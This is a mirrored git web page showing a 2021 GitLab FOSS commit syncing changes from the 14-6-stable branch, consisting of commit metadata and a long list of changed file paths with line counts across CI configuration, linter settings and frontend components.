Welcome to mirror list, hosted at ThFree Co, Russian Federation.

gitlab.com/gitlab-org/gitlab-foss.git - Unnamed repository; edit this file 'description' to name the repository.
summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGitLab Bot <gitlab-bot@gitlab.com>2021-12-20 16:37:47 +0300
committerGitLab Bot <gitlab-bot@gitlab.com>2021-12-20 16:37:47 +0300
commitaee0a117a889461ce8ced6fcf73207fe017f1d99 (patch)
tree891d9ef189227a8445d83f35c1b0fc99573f4380
parent8d46af3258650d305f53b819eabf7ab18d22f59e (diff)
Add latest changes from gitlab-org/gitlab@14-6-stable-eev14.6.0-rc42
-rw-r--r--.eslintrc.yml23
-rw-r--r--.gitignore1
-rw-r--r--.gitlab-ci.yml6
-rw-r--r--.gitlab/CODEOWNERS34
-rw-r--r--.gitlab/ci/docs.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/frontend.gitlab-ci.yml4
-rw-r--r--.gitlab/ci/global.gitlab-ci.yml14
-rw-r--r--.gitlab/ci/qa-report.gitlab-ci.yml15
-rw-r--r--.gitlab/ci/qa.gitlab-ci.yml21
-rw-r--r--.gitlab/ci/rails.gitlab-ci.yml96
-rw-r--r--.gitlab/ci/reports.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/review-apps/main.gitlab-ci.yml7
-rw-r--r--.gitlab/ci/review-apps/qa.gitlab-ci.yml47
-rw-r--r--.gitlab/ci/review.gitlab-ci.yml9
-rw-r--r--.gitlab/ci/rules.gitlab-ci.yml281
-rw-r--r--.gitlab/ci/setup.gitlab-ci.yml24
-rw-r--r--.gitlab/ci/static-analysis.gitlab-ci.yml24
-rw-r--r--.gitlab/ci/test-metadata.gitlab-ci.yml3
-rw-r--r--.gitlab/ci/workhorse.gitlab-ci.yml4
-rw-r--r--.gitlab/issue_templates/Deprecations.md22
-rw-r--r--.gitlab/issue_templates/Experiment Implementation.md4
-rw-r--r--.gitlab/issue_templates/Experiment Rollout.md2
-rw-r--r--.gitlab/issue_templates/Feature Flag Roll Out.md5
-rw-r--r--.gitlab/issue_templates/Feature Proposal - basic.md4
-rw-r--r--.gitlab/issue_templates/Feature Proposal - lean.md7
-rw-r--r--.gitlab/issue_templates/Feature proposal - detailed.md4
-rw-r--r--.gitlab/issue_templates/Fulfillment Group UX Issue.md58
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new Git repository type.md56
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new blob type.md112
-rw-r--r--.gitlab/issue_templates/Snowplow event tracking.md2
-rw-r--r--.gitlab/merge_request_templates/Change Documentation Location.md2
-rw-r--r--.gitlab/merge_request_templates/Deprecations.md6
-rw-r--r--.gitlab/merge_request_templates/Documentation.md7
-rw-r--r--.gitlab/merge_request_templates/New End To End Test.md4
-rw-r--r--.gitlab/merge_request_templates/New Static Analysis Check.md18
-rw-r--r--.gitlab/merge_request_templates/Pipeline Configuration.md2
-rw-r--r--.gitlab/merge_request_templates/Quarantine End to End Test.md8
-rw-r--r--.gitlab/merge_request_templates/Security Release.md7
-rw-r--r--.gitpod.yml2
-rw-r--r--.markdownlint.yml48
-rw-r--r--.projections.json.example8
-rw-r--r--.rubocop.yml4
-rw-r--r--.rubocop_manual_todo.yml2618
-rw-r--r--.rubocop_todo.yml18
-rw-r--r--.rubocop_todo/cop/user_admin.yml70
-rw-r--r--.rubocop_todo/database/multiple_databases.yml60
-rw-r--r--.rubocop_todo/gitlab/delegate_predicate_methods.yml10
-rw-r--r--.rubocop_todo/gitlab/feature_available_usage.yml189
-rw-r--r--.rubocop_todo/gitlab/namespaced_class.yml1198
-rw-r--r--.rubocop_todo/graphql/argument_name.yml4
-rw-r--r--.rubocop_todo/graphql/field_definitions.yml16
-rw-r--r--.rubocop_todo/graphql/field_hash_key.yml7
-rw-r--r--.rubocop_todo/graphql/field_method.yml12
-rw-r--r--.rubocop_todo/graphql/ordered_arguments.yml20
-rw-r--r--.rubocop_todo/graphql/ordered_fields.yml89
-rw-r--r--.rubocop_todo/graphql/resolver_method_length.yml7
-rw-r--r--.rubocop_todo/performance/active_record_subtransaction_methods.yml62
-rw-r--r--.rubocop_todo/performance/rubyzip.yml5
-rw-r--r--.rubocop_todo/rails/include_url_helper.yml38
-rw-r--r--.rubocop_todo/rails/save_bang.yml98
-rw-r--r--.rubocop_todo/rails/time_zone.yml154
-rw-r--r--.rubocop_todo/rspec/any_instance_of.yml508
-rw-r--r--.rubocop_todo/rspec/timecop_freeze.yml29
-rw-r--r--.rubocop_todo/rspec/timecop_travel.yml21
-rw-r--r--.rubocop_todo/style/open_struct_use.yml45
-rw-r--r--.ruby-version2
-rw-r--r--CHANGELOG.md45
-rw-r--r--Dangerfile20
-rw-r--r--GITALY_SERVER_VERSION2
-rw-r--r--GITLAB_ELASTICSEARCH_INDEXER_VERSION2
-rw-r--r--GITLAB_PAGES_VERSION2
-rw-r--r--Gemfile27
-rw-r--r--Gemfile.lock82
-rw-r--r--app/assets/images/logos/jira-gray.svg1
-rw-r--r--app/assets/images/logos/shimo.svg1
-rw-r--r--app/assets/javascripts/access_tokens/components/token.vue55
-rw-r--r--app/assets/javascripts/access_tokens/components/tokens_app.vue111
-rw-r--r--app/assets/javascripts/access_tokens/constants.js4
-rw-r--r--app/assets/javascripts/access_tokens/index.js30
-rw-r--r--app/assets/javascripts/admin/deploy_keys/components/table.vue213
-rw-r--r--app/assets/javascripts/admin/users/components/actions/activate.vue21
-rw-r--r--app/assets/javascripts/admin/users/components/actions/approve.vue20
-rw-r--r--app/assets/javascripts/admin/users/components/actions/ban.vue19
-rw-r--r--app/assets/javascripts/admin/users/components/actions/block.vue19
-rw-r--r--app/assets/javascripts/admin/users/components/actions/deactivate.vue19
-rw-r--r--app/assets/javascripts/admin/users/components/actions/reject.vue19
-rw-r--r--app/assets/javascripts/admin/users/components/actions/unban.vue19
-rw-r--r--app/assets/javascripts/admin/users/components/actions/unblock.vue20
-rw-r--r--app/assets/javascripts/admin/users/components/actions/unlock.vue19
-rw-r--r--app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue13
-rw-r--r--app/assets/javascripts/admin/users/components/user_actions.vue2
-rw-r--r--app/assets/javascripts/alert_management/graphql/queries/get_count_by_status.query.graphql1
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql2
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/mutations/destroy_http_integration.mutation.graphql2
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/mutations/reset_http_token.mutation.graphql2
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql2
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/queries/get_http_integration.query.graphql1
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/queries/get_integrations.query.graphql1
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/queries/parse_sample_payload.query.graphql1
-rw-r--r--app/assets/javascripts/analytics/devops_reports/components/devops_score.vue8
-rw-r--r--app/assets/javascripts/analytics/shared/graphql/projects.query.graphql1
-rw-r--r--app/assets/javascripts/api.js7
-rw-r--r--app/assets/javascripts/api/packages_api.js32
-rw-r--r--app/assets/javascripts/artifacts_settings/graphql/queries/get_keep_latest_artifact_project_setting.query.graphql1
-rw-r--r--app/assets/javascripts/batch_comments/components/draft_note.vue2
-rw-r--r--app/assets/javascripts/behaviors/copy_code.js66
-rw-r--r--app/assets/javascripts/behaviors/gl_emoji.js2
-rw-r--r--app/assets/javascripts/behaviors/index.js1
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js9
-rw-r--r--app/assets/javascripts/blob/components/blob_content.vue2
-rw-r--r--app/assets/javascripts/blob/pdf/pdf_viewer.vue8
-rw-r--r--app/assets/javascripts/blob/pipeline_tour_success_modal.vue2
-rw-r--r--app/assets/javascripts/blob_edit/edit_blob.js43
-rw-r--r--app/assets/javascripts/boards/boards_util.js12
-rw-r--r--app/assets/javascripts/boards/components/board_card_inner.vue2
-rw-r--r--app/assets/javascripts/boards/components/board_content_sidebar.vue4
-rw-r--r--app/assets/javascripts/boards/components/board_filtered_search.vue103
-rw-r--r--app/assets/javascripts/boards/components/board_list.vue16
-rw-r--r--app/assets/javascripts/boards/components/board_list_header.vue39
-rw-r--r--app/assets/javascripts/boards/components/boards_selector.vue3
-rw-r--r--app/assets/javascripts/boards/components/issue_board_filtered_search.vue85
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue173
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue75
-rw-r--r--app/assets/javascripts/boards/constants.js14
-rw-r--r--app/assets/javascripts/boards/graphql/board_labels.query.graphql2
-rw-r--r--app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql2
-rw-r--r--app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql2
-rw-r--r--app/assets/javascripts/boards/graphql/board_lists.query.graphql8
-rw-r--r--app/assets/javascripts/boards/graphql/board_lists_deferred.query.graphql6
-rw-r--r--app/assets/javascripts/boards/graphql/group_board.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/group_board_members.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/group_board_milestones.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/group_boards.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/group_projects.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql11
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/lists_issues.query.graphql6
-rw-r--r--app/assets/javascripts/boards/graphql/project_board.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/project_board_members.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/project_board_milestones.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/project_boards.query.graphql1
-rw-r--r--app/assets/javascripts/boards/graphql/project_milestones.query.graphql1
-rw-r--r--app/assets/javascripts/boards/index.js3
-rw-r--r--app/assets/javascripts/boards/mount_filtered_search_issue_boards.js3
-rw-r--r--app/assets/javascripts/boards/stores/actions.js133
-rw-r--r--app/assets/javascripts/ci_lint/components/ci_lint.vue2
-rw-r--r--app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue2
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue42
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue48
-rw-r--r--app/assets/javascripts/ci_variable_list/constants.js3
-rw-r--r--app/assets/javascripts/clusters/agents/components/activity_events_list.vue176
-rw-r--r--app/assets/javascripts/clusters/agents/components/activity_history_item.vue79
-rw-r--r--app/assets/javascripts/clusters/agents/components/show.vue16
-rw-r--r--app/assets/javascripts/clusters/agents/components/token_table.vue13
-rw-r--r--app/assets/javascripts/clusters/agents/constants.js37
-rw-r--r--app/assets/javascripts/clusters/agents/graphql/fragments/cluster_agent_token.fragment.graphql2
-rw-r--r--app/assets/javascripts/clusters/agents/graphql/queries/get_agent_activity_events.query.graphql25
-rw-r--r--app/assets/javascripts/clusters/agents/graphql/queries/get_cluster_agent.query.graphql2
-rw-r--r--app/assets/javascripts/clusters/agents/index.js3
-rw-r--r--app/assets/javascripts/clusters_list/components/agent_empty_state.vue67
-rw-r--r--app/assets/javascripts/clusters_list/components/agents.vue9
-rw-r--r--app/assets/javascripts/clusters_list/components/available_agents_dropdown.vue30
-rw-r--r--app/assets/javascripts/clusters_list/components/clusters_empty_state.vue89
-rw-r--r--app/assets/javascripts/clusters_list/components/clusters_main_view.vue19
-rw-r--r--app/assets/javascripts/clusters_list/components/clusters_view_all.vue33
-rw-r--r--app/assets/javascripts/clusters_list/components/install_agent_modal.vue325
-rw-r--r--app/assets/javascripts/clusters_list/constants.js147
-rw-r--r--app/assets/javascripts/clusters_list/graphql/cache_update.js84
-rw-r--r--app/assets/javascripts/clusters_list/graphql/fragments/cluster_agent.fragment.graphql1
-rw-r--r--app/assets/javascripts/clusters_list/graphql/queries/agent_configurations.query.graphql2
-rw-r--r--app/assets/javascripts/clusters_list/graphql/queries/get_agents.query.graphql2
-rw-r--r--app/assets/javascripts/code_navigation/components/doc_line.vue1
-rw-r--r--app/assets/javascripts/content_editor/extensions/attachment.js8
-rw-r--r--app/assets/javascripts/content_editor/extensions/audio.js8
-rw-r--r--app/assets/javascripts/content_editor/extensions/code_block_highlight.js4
-rw-r--r--app/assets/javascripts/content_editor/extensions/division.js14
-rw-r--r--app/assets/javascripts/content_editor/extensions/footnote_definition.js21
-rw-r--r--app/assets/javascripts/content_editor/extensions/footnote_reference.js37
-rw-r--r--app/assets/javascripts/content_editor/extensions/footnotes_section.js19
-rw-r--r--app/assets/javascripts/content_editor/extensions/html_marks.js9
-rw-r--r--app/assets/javascripts/content_editor/extensions/image.js8
-rw-r--r--app/assets/javascripts/content_editor/extensions/inline_diff.js6
-rw-r--r--app/assets/javascripts/content_editor/extensions/link.js9
-rw-r--r--app/assets/javascripts/content_editor/extensions/task_item.js8
-rw-r--r--app/assets/javascripts/content_editor/extensions/video.js10
-rw-r--r--app/assets/javascripts/content_editor/extensions/word_break.js10
-rw-r--r--app/assets/javascripts/content_editor/services/create_content_editor.js6
-rw-r--r--app/assets/javascripts/content_editor/services/markdown_serializer.js23
-rw-r--r--app/assets/javascripts/create_label.js131
-rw-r--r--app/assets/javascripts/crm/components/contact_form.vue224
-rw-r--r--app/assets/javascripts/crm/components/contacts_root.vue129
-rw-r--r--app/assets/javascripts/crm/components/new_organization_form.vue164
-rw-r--r--app/assets/javascripts/crm/components/organizations_root.vue91
-rw-r--r--app/assets/javascripts/crm/components/queries/create_contact.mutation.graphql10
-rw-r--r--app/assets/javascripts/crm/components/queries/create_organization.mutation.graphql10
-rw-r--r--app/assets/javascripts/crm/components/queries/crm_contact_fields.fragment.graphql14
-rw-r--r--app/assets/javascripts/crm/components/queries/crm_organization_fields.fragment.graphql7
-rw-r--r--app/assets/javascripts/crm/components/queries/get_group_contacts.query.graphql15
-rw-r--r--app/assets/javascripts/crm/components/queries/get_group_organizations.query.graphql8
-rw-r--r--app/assets/javascripts/crm/components/queries/update_contact.mutation.graphql10
-rw-r--r--app/assets/javascripts/crm/constants.js3
-rw-r--r--app/assets/javascripts/crm/contacts_bundle.js16
-rw-r--r--app/assets/javascripts/crm/organizations_bundle.js16
-rw-r--r--app/assets/javascripts/crm/routes.js16
-rw-r--r--app/assets/javascripts/delete_label_modal.js16
-rw-r--r--app/assets/javascripts/design_management/components/design_note_pin.vue53
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_discussion.vue12
-rw-r--r--app/assets/javascripts/design_management/components/design_overlay.vue8
-rw-r--r--app/assets/javascripts/design_management/graphql/fragments/discussion_resolved_status.fragment.graphql2
-rw-r--r--app/assets/javascripts/design_management/graphql/mutations/upload_design.mutation.graphql2
-rw-r--r--app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql2
-rw-r--r--app/assets/javascripts/diffs/components/app.vue4
-rw-r--r--app/assets/javascripts/diffs/components/diff_file.vue2
-rw-r--r--app/assets/javascripts/diffs/components/diff_row.vue10
-rw-r--r--app/assets/javascripts/diffs/components/diff_view.vue3
-rw-r--r--app/assets/javascripts/diffs/store/modules/diff_state.js1
-rw-r--r--app/assets/javascripts/diffs/store/mutations.js2
-rw-r--r--app/assets/javascripts/diffs/utils/discussions.js76
-rw-r--r--app/assets/javascripts/dropzone_input.js8
-rw-r--r--app/assets/javascripts/editor/constants.js4
-rw-r--r--app/assets/javascripts/editor/extensions/example_source_editor_extension.js14
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js47
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_extension_base.js111
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js16
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js330
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_markdown_livepreview_ext.js167
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_webide_ext.js272
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_yaml_ext.js279
-rw-r--r--app/assets/javascripts/editor/source_editor.js179
-rw-r--r--app/assets/javascripts/editor/source_editor_extension.js2
-rw-r--r--app/assets/javascripts/editor/source_editor_instance.js76
-rw-r--r--app/assets/javascripts/emoji/constants.js3
-rw-r--r--app/assets/javascripts/emoji/index.js29
-rw-r--r--app/assets/javascripts/environments/components/confirm_rollback_modal.vue41
-rw-r--r--app/assets/javascripts/environments/components/delete_environment_modal.vue31
-rw-r--r--app/assets/javascripts/environments/components/enable_review_app_modal.vue12
-rw-r--r--app/assets/javascripts/environments/components/environment_delete.vue23
-rw-r--r--app/assets/javascripts/environments/components/environment_item.vue2
-rw-r--r--app/assets/javascripts/environments/components/environment_rollback.vue34
-rw-r--r--app/assets/javascripts/environments/components/new_environment_folder.vue27
-rw-r--r--app/assets/javascripts/environments/components/new_environments_app.vue180
-rw-r--r--app/assets/javascripts/environments/graphql/client.js16
-rw-r--r--app/assets/javascripts/environments/graphql/mutations/set_environment_to_delete.mutation.graphql3
-rw-r--r--app/assets/javascripts/environments/graphql/mutations/set_environment_to_rollback.mutation.graphql3
-rw-r--r--app/assets/javascripts/environments/graphql/queries/environmentApp.query.graphql8
-rw-r--r--app/assets/javascripts/environments/graphql/queries/environment_app.query.graphql9
-rw-r--r--app/assets/javascripts/environments/graphql/queries/environment_to_delete.query.graphql7
-rw-r--r--app/assets/javascripts/environments/graphql/queries/environment_to_rollback.query.graphql7
-rw-r--r--app/assets/javascripts/environments/graphql/queries/page_info.query.graphql8
-rw-r--r--app/assets/javascripts/environments/graphql/queries/poll_interval.query.graphql3
-rw-r--r--app/assets/javascripts/environments/graphql/resolvers.js123
-rw-r--r--app/assets/javascripts/environments/graphql/typedefs.graphql46
-rw-r--r--app/assets/javascripts/error_tracking/components/error_details.vue2
-rw-r--r--app/assets/javascripts/error_tracking/queries/details.query.graphql1
-rw-r--r--app/assets/javascripts/experimentation/utils.js27
-rw-r--r--app/assets/javascripts/feature_flags/components/form.vue7
-rw-r--r--app/assets/javascripts/filtered_search/available_dropdown_mappings.js2
-rw-r--r--app/assets/javascripts/filtered_search/constants.js7
-rw-r--r--app/assets/javascripts/flash.js8
-rw-r--r--app/assets/javascripts/google_cloud/components/app.vue55
-rw-r--r--app/assets/javascripts/google_cloud/components/errors/gcp_error.vue29
-rw-r--r--app/assets/javascripts/google_cloud/components/errors/no_gcp_projects.vue26
-rw-r--r--app/assets/javascripts/google_cloud/components/home.vue41
-rw-r--r--app/assets/javascripts/google_cloud/components/service_accounts_form.vue70
-rw-r--r--app/assets/javascripts/google_cloud/components/service_accounts_list.vue (renamed from app/assets/javascripts/google_cloud/components/service_accounts.vue)0
-rw-r--r--app/assets/javascripts/google_cloud/index.js13
-rw-r--r--app/assets/javascripts/graphql_shared/constants.js6
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/issuable_timelogs.fragment.graphql2
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/mutations/create_merge_request.mutation.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/queries/group_users_search.query.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/queries/project_user_members_search.query.graphql1
-rw-r--r--app/assets/javascripts/graphql_shared/queries/users_search.query.graphql2
-rw-r--r--app/assets/javascripts/group_label_subscription.js76
-rw-r--r--app/assets/javascripts/header_search/components/app.vue138
-rw-r--r--app/assets/javascripts/header_search/components/header_search_autocomplete_items.vue31
-rw-r--r--app/assets/javascripts/header_search/components/header_search_default_items.vue24
-rw-r--r--app/assets/javascripts/header_search/components/header_search_scoped_items.vue38
-rw-r--r--app/assets/javascripts/header_search/constants.js26
-rw-r--r--app/assets/javascripts/header_search/store/actions.js4
-rw-r--r--app/assets/javascripts/header_search/store/getters.js107
-rw-r--r--app/assets/javascripts/header_search/store/mutation_types.js1
-rw-r--r--app/assets/javascripts/header_search/store/mutations.js7
-rw-r--r--app/assets/javascripts/ide/components/activity_bar.vue2
-rw-r--r--app/assets/javascripts/ide/components/ide_tree_list.vue14
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/index.vue2
-rw-r--r--app/assets/javascripts/ide/components/pipelines/empty_state.vue35
-rw-r--r--app/assets/javascripts/ide/components/pipelines/list.vue28
-rw-r--r--app/assets/javascripts/ide/components/repo_editor.vue39
-rw-r--r--app/assets/javascripts/ide/constants.js6
-rw-r--r--app/assets/javascripts/ide/ide_router.js69
-rw-r--r--app/assets/javascripts/ide/index.js11
-rw-r--r--app/assets/javascripts/ide/lib/themes/monokai.js2
-rw-r--r--app/assets/javascripts/ide/lib/themes/none.js1
-rw-r--r--app/assets/javascripts/ide/lib/themes/solarized_dark.js2
-rw-r--r--app/assets/javascripts/ide/lib/themes/solarized_light.js2
-rw-r--r--app/assets/javascripts/ide/lib/themes/white.js1
-rw-r--r--app/assets/javascripts/ide/queries/ide_project.fragment.graphql1
-rw-r--r--app/assets/javascripts/ide/services/index.js34
-rw-r--r--app/assets/javascripts/ide/stores/actions/project.js57
-rw-r--r--app/assets/javascripts/ide/stores/mutation_types.js1
-rw-r--r--app/assets/javascripts/ide/stores/mutations/project.js12
-rw-r--r--app/assets/javascripts/import_entities/components/pagination_bar.vue90
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue2
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_table.vue135
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_target_cell.vue126
-rw-r--r--app/assets/javascripts/import_entities/import_groups/constants.js4
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js31
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_progress.fragment.graphql1
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_groups.mutation.graphql1
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql9
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/services/local_storage_cache.js9
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql16
-rw-r--r--app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql1
-rw-r--r--app/assets/javascripts/incidents/graphql/queries/get_count_by_status.query.graphql1
-rw-r--r--app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql4
-rw-r--r--app/assets/javascripts/init_confirm_danger.js2
-rw-r--r--app/assets/javascripts/init_issuable_sidebar.js16
-rw-r--r--app/assets/javascripts/init_labels.js19
-rw-r--r--app/assets/javascripts/integrations/constants.js4
-rw-r--r--app/assets/javascripts/integrations/edit/api.js9
-rw-r--r--app/assets/javascripts/integrations/edit/components/active_checkbox.vue11
-rw-r--r--app/assets/javascripts/integrations/edit/components/confirmation_modal.vue9
-rw-r--r--app/assets/javascripts/integrations/edit/components/integration_form.vue129
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue17
-rw-r--r--app/assets/javascripts/integrations/edit/components/reset_confirmation_modal.vue8
-rw-r--r--app/assets/javascripts/integrations/edit/index.js22
-rw-r--r--app/assets/javascripts/integrations/edit/store/actions.js29
-rw-r--r--app/assets/javascripts/integrations/edit/store/getters.js2
-rw-r--r--app/assets/javascripts/integrations/edit/store/mutation_types.js2
-rw-r--r--app/assets/javascripts/integrations/edit/store/mutations.js6
-rw-r--r--app/assets/javascripts/integrations/edit/store/state.js1
-rw-r--r--app/assets/javascripts/integrations/integration_settings_form.js151
-rw-r--r--app/assets/javascripts/integrations/overrides/components/integration_overrides.vue40
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_modal.vue69
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_trigger.vue15
-rw-r--r--app/assets/javascripts/invite_members/constants.js12
-rw-r--r--app/assets/javascripts/invite_members/init_invite_members_modal.js2
-rw-r--r--app/assets/javascripts/issuable/bulk_update_sidebar/components/status_select.vue (renamed from app/assets/javascripts/issuable_bulk_update_sidebar/components/status_select.vue)0
-rw-r--r--app/assets/javascripts/issuable/bulk_update_sidebar/constants.js (renamed from app/assets/javascripts/issuable_bulk_update_sidebar/constants.js)0
-rw-r--r--app/assets/javascripts/issuable/bulk_update_sidebar/init_issue_status_select.js (renamed from app/assets/javascripts/issuable_bulk_update_sidebar/init_issue_status_select.js)0
-rw-r--r--app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_actions.js126
-rw-r--r--app/assets/javascripts/issuable/bulk_update_sidebar/issuable_bulk_update_sidebar.js173
-rw-r--r--app/assets/javascripts/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar.js (renamed from app/assets/javascripts/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar.js)0
-rw-r--r--app/assets/javascripts/issuable/bulk_update_sidebar/subscription_select.js (renamed from app/assets/javascripts/issuable_bulk_update_sidebar/subscription_select.js)0
-rw-r--r--app/assets/javascripts/issuable/components/issuable_by_email.vue3
-rw-r--r--app/assets/javascripts/issuable/components/issuable_header_warnings.vue (renamed from app/assets/javascripts/vue_shared/components/issuable/issuable_header_warnings.vue)0
-rw-r--r--app/assets/javascripts/issuable/components/issue_assignees.vue (renamed from app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue)0
-rw-r--r--app/assets/javascripts/issuable/components/issue_milestone.vue (renamed from app/assets/javascripts/vue_shared/components/issue/issue_milestone.vue)0
-rw-r--r--app/assets/javascripts/issuable/components/related_issuable_item.vue201
-rw-r--r--app/assets/javascripts/issuable/constants.js5
-rw-r--r--app/assets/javascripts/issuable/index.js116
-rw-r--r--app/assets/javascripts/issuable/init_csv_import_export_buttons.js48
-rw-r--r--app/assets/javascripts/issuable/init_issuable_by_email.js35
-rw-r--r--app/assets/javascripts/issuable/issuable_context.js69
-rw-r--r--app/assets/javascripts/issuable/issuable_form.js219
-rw-r--r--app/assets/javascripts/issuable/issuable_template_selector.js111
-rw-r--r--app/assets/javascripts/issuable/issuable_template_selectors.js32
-rw-r--r--app/assets/javascripts/issuable/mixins/related_issuable_mixin.js (renamed from app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js)0
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js126
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js173
-rw-r--r--app/assets/javascripts/issuable_context.js69
-rw-r--r--app/assets/javascripts/issuable_form.js219
-rw-r--r--app/assets/javascripts/issuable_index.js7
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_item.vue295
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_list_root.vue353
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_tabs.vue65
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_show_root.vue162
-rw-r--r--app/assets/javascripts/issuable_suggestions/components/app.vue94
-rw-r--r--app/assets/javascripts/issuable_suggestions/index.js38
-rw-r--r--app/assets/javascripts/issuable_suggestions/queries/issues.query.graphql26
-rw-r--r--app/assets/javascripts/issuable_type_selector/components/info_popover.vue41
-rw-r--r--app/assets/javascripts/issuable_type_selector/index.js16
-rw-r--r--app/assets/javascripts/issue.js113
-rw-r--r--app/assets/javascripts/issue_show/components/app.vue585
-rw-r--r--app/assets/javascripts/issue_show/components/description.vue169
-rw-r--r--app/assets/javascripts/issue_show/components/edit_actions.vue156
-rw-r--r--app/assets/javascripts/issue_show/components/edited.vue45
-rw-r--r--app/assets/javascripts/issue_show/components/fields/description_template.vue111
-rw-r--r--app/assets/javascripts/issue_show/components/form.vue222
-rw-r--r--app/assets/javascripts/issue_show/components/header_actions.vue283
-rw-r--r--app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql22
-rw-r--r--app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue63
-rw-r--r--app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue81
-rw-r--r--app/assets/javascripts/issue_show/constants.js46
-rw-r--r--app/assets/javascripts/issue_show/incident.js99
-rw-r--r--app/assets/javascripts/issue_show/issue.js83
-rw-r--r--app/assets/javascripts/issue_show/queries/promote_to_epic.mutation.graphql8
-rw-r--r--app/assets/javascripts/issue_show/services/index.js29
-rw-r--r--app/assets/javascripts/issues/constants.js25
-rw-r--r--app/assets/javascripts/issues/filtered_search_service_desk.js (renamed from app/assets/javascripts/pages/projects/issues/service_desk/filtered_search.js)0
-rw-r--r--app/assets/javascripts/issues/form.js24
-rw-r--r--app/assets/javascripts/issues/init_filtered_search_service_desk.js11
-rw-r--r--app/assets/javascripts/issues/issue.js113
-rw-r--r--app/assets/javascripts/issues/manual_ordering.js (renamed from app/assets/javascripts/manual_ordering.js)0
-rw-r--r--app/assets/javascripts/issues/new/components/title_suggestions.vue94
-rw-r--r--app/assets/javascripts/issues/new/components/title_suggestions_item.vue (renamed from app/assets/javascripts/issuable_suggestions/components/item.vue)0
-rw-r--r--app/assets/javascripts/issues/new/components/type_popover.vue41
